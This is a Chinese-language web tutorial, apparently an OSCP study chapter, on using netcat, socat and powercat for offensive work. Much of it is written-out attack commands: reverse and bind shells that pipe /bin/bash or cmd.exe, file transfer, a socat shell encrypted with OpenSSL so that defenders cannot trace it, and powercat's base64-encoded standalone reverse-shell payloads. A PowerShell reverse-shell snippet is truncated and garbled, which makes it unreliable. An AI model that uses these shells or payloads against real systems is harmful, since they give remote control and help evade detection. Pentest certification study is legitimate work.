1. 主页 > 黑客技术

[web渗透]网络与信息安全,OSCP|第四章 实用的工具

[web渗透]之:网络与信息安全,OSCP|第四章 实用的工具

Netcat

Netcat 是一个非常好用的一个工具,我们可以用它传送文件,反弹shell,监听端口等。

连接TCP/UDP 端口

我们可以用客户端去连接任何TCP/UDP端口

查看端口是否开启/关闭

读取关于该服务的banner信息

手动连接该服务

nc -nv ip-address> port>

监听 TCP/UDP 端口

nc -nlvp port>
example: nc -nlvp 4445
-n 不需要DNS解析
-l 创造一个监听
-v 更加详细的透露消息
-p 需要监听的端口

利用Netcat 传输文件

接受端(开启监听端口)
nc -nlvp port> > filename>
example: nc -nlvp 4445 > payload.txt
发送端(连接别人的端口)
nc -nv ip-address> port>  filename>
example: nc -nv 192.168.98.23  payload.txt

利用Netcat来控制机器

正向连接

目标机自行开启监听端口 攻击机主动去连接端口

常用于内网机器不出网的时候

# 目标机 自行开启端口
Windows: nc -nlvp -e cmd.exe
Linux: nc -nlvp -e /bin/bash
# PS: 有时候Netcat的版本不够高,可能会没有-e 这个参数,各位师傅就自行去 google搜 [reverse shell generator]

# 攻击机 自动连接端口
Kali Linux: nc -nv ip-address> port>

反向连接

攻击机开启端口 目标机连接攻击机

Windows: nc -nv ip-address> port> -e cmd.exe
Linux: nc -nv ip-address> port> -e /bin/bash

Kali Linux: nc -lnvp port>

Socat

Netcat VS Socat

# 连接目标端口
nc ip-address> port>
socat - TCP4:ip-address>:port>

# 开启监听本地端口
nc -lvp 443
socat TCP4-LISTEN:443 STDOUT

Socat 文件传输

# 发送端
socat TCP4-LISTEN:4445,fork file:secret.txt

# 接受端
socat TCP:ip-address>:port> file:received_secret_password.txt,create

Socat Reverse Shell

# 攻击机
socat -d -d TCP4-LISTEN:4445 STDOUT

# 目标机
socat TCP4:ip-address>:4445 EXEC:/bin/bash

Socat 加密正向shell

为什么要流量加密?流量不加密容易被蓝队溯源,信息加密能让我们存活更长一段时间。

我们需要用到openssl来生成自己的证书

# 需要用到的参数
req 初始化一个签名证书 (request)
-newkey 生成一个私钥
rsa:2048 用2048比特长的钥匙用RSA加密
-nodes 储存一个私钥,不需要密码的保护
-keyout 保存密钥到一个文件里
-x509 输出一个 自己签证的证书
-days 设置一个期限
-out 生成一个证书

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 31 -out bind_shell.crt

# 然后会输入一些信息

cat bind_shell.key bind_shell.crt > bind_shell.pem
# 生成.pem文件才能使用socat来对流量进行加密
# 目标机
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

# 攻击机
socat - OPENSSL:ip-address>:port>,verify=0

Powershell $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

好长 Orz, 各位师傅请自行在 reverse shell generator复制吧

Powercat

Powercat 是 Powershell 的Netcat

# Kali Linux 没有的话可以下载
sudo apt install powercat

# Windows
. .\powercat.ps1

Powercat 文件传输

# Kali Linux
sudo nc -lnvp 443 > receving_powercat.ps1

# Windows
powercat -c ip-address> -p port> -i C:\Users\Public\Downloads\powercat.ps1

Powercat Shell

Bind Shell

# Kali Linux
nc ip-address> port>

# Windows
powercat -l -p 443 -e cmd.exe

Reverse Shell

# Kali Linux
nc -lvp 443

# Windows
powercat -c ip-address> -p port> -e cmd.exe

Powercat 独立的 Payload

Powercat 可以独立生成一个自己的ps1 方便自己独自调用

powercat -c ip-address> -p port> -e cmd.exe -g > reverseshell.ps1

# 可以用Base64 去加密我们的reverse_shell
powercat -c ip-address> -p port> -e cmd.exe -ge > encodedreverseshell.ps1

Wireshark

Wireshark 可以进行流量嗅探,解包,进行溯源工作。

Wireshark 安装使用教程

本文话题是[web渗透]网络与信息安全,OSCP|第四章 实用的工具

本文由黑帽达人官网发布,不代表黑帽达人官网立场,转载联系作者并注明出处:https://m.czlg.net/article/wangzhanseo/642.html